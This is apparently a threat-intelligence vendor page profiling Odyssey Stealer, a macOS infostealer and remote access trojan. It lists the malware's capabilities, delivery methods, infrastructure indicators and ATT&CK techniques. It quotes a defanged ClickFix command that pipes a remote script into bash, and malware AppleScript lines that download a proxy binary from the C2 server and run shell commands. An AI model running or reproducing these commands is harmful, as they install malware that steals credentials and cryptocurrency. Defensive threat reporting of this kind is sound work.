Skip to main content
Mallory
Back to malware
MalwareUsed by 1 actor

Odyssey Stealer

Odyssey Stealer is a macOS-focused information stealer and remote access trojan operated as a Malware-as-a-Service platform with an affiliate-based model. Multiple sources in the provided content describe it as a rebrand of Poseidon Stealer and a successor to Poseidon, with Poseidon itself derived from Atomic macOS Stealer (AMOS). It has been observed targeting macOS users worldwide, with reporting noting activity across North America, Latin America, Europe, Asia, and Africa.

Its theft capabilities include credentials, cookies, and browser data from Chrome, Firefox, Safari, Chromium-based browsers, and Gecko-based browsers; macOS Keychain data; Apple Notes; Telegram Desktop data; personal files; and cryptocurrency wallet data. The content states it targets more than 100 browser wallet extensions, specifically 203 browser wallet extensions in one analysis, as well as numerous desktop wallet applications including MetaMask, Phantom, Electrum, Ledger Live, Trezor Suite, Exodus, Atomic, Bitcoin Core, Monero, Wasabi, and Sparrow. Stolen data is compressed and exfiltrated, including in ZIP format.

Beyond infostealing, Odyssey functions as a full RAT. Reported capabilities include arbitrary shell execution, reinfection, SOCKS5 proxy enablement, uninstall support, and persistent command polling every 60 seconds via a LaunchDaemon. The malware can display a fake macOS password prompt, validate the password with dscl . authonly, use the stolen password to access Keychain-derived secrets, install persistence, and replace legitimate Ledger and Trezor applications with trojanized versions designed to intercept credentials and transactions.

Observed delivery vectors in the content include obfuscated AppleScript payloads, fake CAPTCHA and ClickFix-style social engineering, fake Homebrew installer pages, spoofed software portals, seemingly legitimate software updates, cracked tools, fraudulent apps, and campaigns abusing legitimate ChatGPT share links and Google ads. The content also notes use in broader ClickFix ecosystems and in campaigns targeting macOS developers.

Infrastructure reporting in the content ties Odyssey to centrally hosted MaaS/C2 infrastructure and an affiliate panel. Censys-based tracking identified 10 physical hosts associated with its MaaS and C2 infrastructure. Reported indicators include domains such as something0x[.]at, charge0x[.]at, and sdojifsfiudgigfiv[.]to; IPs 62.60.131[.]230, 62.60.131[.]250, 5.199.166[.]102, 77.90.185[.]24, 185.11.61[.]84, 217.119.139[.]117, 185.93.89[.]62, 185.93.89[.]63, 45.146.130[.]129, and 213.209.159[.]175; and a shared SOCKS proxy binary SHA256 d254125912d9e9e5c271766bc4f6eea0c296ad2c0cf19d4bd57081d1bf10f044. Additional reported infrastructure and IOCs include 45.146.130.131 used for exfiltration and second-stage activity, and the command curl -s http://185[.]93[.]89[.]62/d/vipx69930 | nohup bash & observed in fake Homebrew delivery.

The content associates Odyssey/Poseidon lineage with a developer known as Rodrigo4 on the Russian-language XSS forum and notes indicators consistent with Russian-speaking developers or operators, including Russian-language forum activity and dashboard translations. However, the provided material supports this as ecosystem/operator context rather than a formal attribution to a named state actor.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Rodrigo4

Odyssey Stealer is a macOS information stealer designed to steal cryptocurrencies. It operates as a Malware-as-a-Service (MaaS) platform with an affiliate-based model... Beyond credential theft, Odyssey operates as a full remote access trojan.

via censys blogcensys.com
MITRE ATT&CK

Techniques & procedures

26 distinct techniques documented for this family, organized by ATT&CK tactic.

T1583Acquire InfrastructureEvidence1

Affiliates pay for panel access, run their own social engineering campaigns (phishing, malvertising, fake download sites)

Initial Access

3 techniques
T1195.002Compromise Software Supply ChainEvidence1

"Odyssey Stealer ... has been deployed via seemingly legitimate software updates, cracked tools, and fraudulent apps"

T1566PhishingEvidence2

When a user clicks one of these malicious search ads, they go to a legitimate URL that looks exactly like a normal chatgpt.com/s/[unique-id] share link.

T1566.002Spearphishing LinkEvidence1

Iru Threat Intelligence has seen a recent increase in attackers using spoofed Homebrew webpages to get users to download malware.

Execution

5 techniques
T1059Command and Scripting InterpreterEvidence1
TacticExecution

supporting arbitrary shell execution ... if command_type is equal to "doshell" then do shell script command_payload

T1059.002AppleScriptEvidence2
TacticExecution

Often delivered via obfuscated AppleScript payloads ... Stage 1: The Initial Dropper The main payload is obfuscated AppleScript wrapped in a shell script.

T1059.004Unix ShellEvidence2
TacticExecution

The main payload is obfuscated AppleScript wrapped in a shell script ... do shell script command_payload

T1204User ExecutionEvidence2
TacticExecution

A social engineering technique called ClickFix has resurfaced with significant force, tricking users on both Windows and macOS into manually executing malicious commands that quietly install malware on their devices.

T1204.002Malicious FileEvidence1
TacticExecution

This technique closely mirrors recent “ClickFix” social-engineering campaigns, where victims are coerced into pasting attacker-supplied shell commands... The result is a compact and effective initial infection vector.

Stealth

4 techniques
T1027Obfuscated Files or InformationEvidence1
TacticStealth

"Aside from continuously modifying its code structure to evade standard blocklists"

T1036MasqueradingEvidence2
TacticStealth

The attackers render a custom HTML layout directly on the legitimate domain to display a fake system maintenance message like "we're experiencing high traffic right now," to simulate a crash, and try to get you to download their desktop app.

T1218System Binary Proxy ExecutionEvidence1
TacticStealth

All five clusters rely on a living-off-the-land (LotL) approach, using trusted system tools already present on the operating system to carry out the attack. By routing execution through native utilities like PowerShell or the macOS Terminal, attackers effectively operate outside the reach of most standard browser-based security defenses.

T1497Virtualization/Sandbox EvasionEvidence1

"Automation has been leveraged by Odyssey to ensure a unique digital fingerprint for every infection that hinders detection by antivirus systems."

Credential Access

6 techniques
T1056.003Web Portal CaptureEvidence1

A fake dialog tricks the user into entering their macOS password ... The password is validated against the system using dscl . authonly

T1528Steal Application Access TokenEvidence1

On macOS, this exact trap drops Odyssey Stealer to steal sensitive data.

T1539Steal Web Session CookieEvidence1

Browser Data (Chromium-based): Chrome, Brave, Edge, Vivaldi, Opera, OperaGX, Arc, CocCoc Cookies ... Browser Data (Gecko-based): Firefox, Waterfox cookies.sqlite

T1555Credentials from Password StoresEvidence1

The password is validated against the system using dscl . authonly and then used for: Extracting Chrome’s master password from Keychain ... Keychain – Full Keychain database (login.keychain-db)

T1555.001KeychainEvidence1

"...to compromise browser-stored information and the macOS Keychain"

T1555.003Credentials from Web BrowsersEvidence1

"...to compromise browser-stored information and the macOS Keychain"

Discovery

1 technique
T1497Virtualization/Sandbox EvasionEvidence1

"Automation has been leveraged by Odyssey to ensure a unique digital fingerprint for every infection that hinders detection by antivirus systems."

Collection

3 techniques
T1056.003Web Portal CaptureEvidence1

A fake dialog tricks the user into entering their macOS password ... The password is validated against the system using dscl . authonly

T1115Clipboard DataEvidence1

Rather than allowing users to highlight and copy the install command, the page forces them to use a single Copy button. That restriction is purposeful: it enables the attacker to inject an extra hidden command into the clipboard, outside of what is shown to the user on the webpage, which downloads a malicious payload in parallel with the Homebrew installer.

T1560Archive Collected DataEvidence1

Collect data ... Exfiltrate ZIP: Data is zipped and sent to the C2 via POST to /log

T1090ProxyEvidence1

supporting arbitrary shell execution, reinfection, and a SOCKS5 proxy for tunneling traffic through victim machines ... enablesocks5 Downloads and runs SOCKS5 proxy

T1105Ingress Tool TransferEvidence3

do shell script "curl -o /tmp/socks " & c2_host & "/otherassets/socks" ... Trojanized asset distribution (/otherassets/)

T1219Remote Access ToolsEvidence1

Beyond credential theft, Odyssey operates as a full remote access trojan.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence1

Exfiltrate ZIP: Data is zipped and sent to the C2 via POST to /log ... Data Exfiltration POST /log

Other

1 technique
T1656ImpersonationEvidence1

ClickFix is a social engineering methodology that lures victims into manually executing malicious commands by masquerading as a necessary technical resolution for fabricated system errors or human-verification prompts.

INDICATORS OF COMPROMISE

IOCs tracked for this family

73 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
36 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
21 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
16 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app3 days ago
hash.md5●●●●●●●●●●●●View more in app3 days ago
domain●●●●●●●●●●●●View more in app4 days ago
ip.v4●●●●●●●●●●●●View more in app8 days ago
cidr.v4●●●●●●●●●●●●View more in app13 days ago
cidr.v4●●●●●●●●●●●●View more in app13 days ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching73

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping26

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.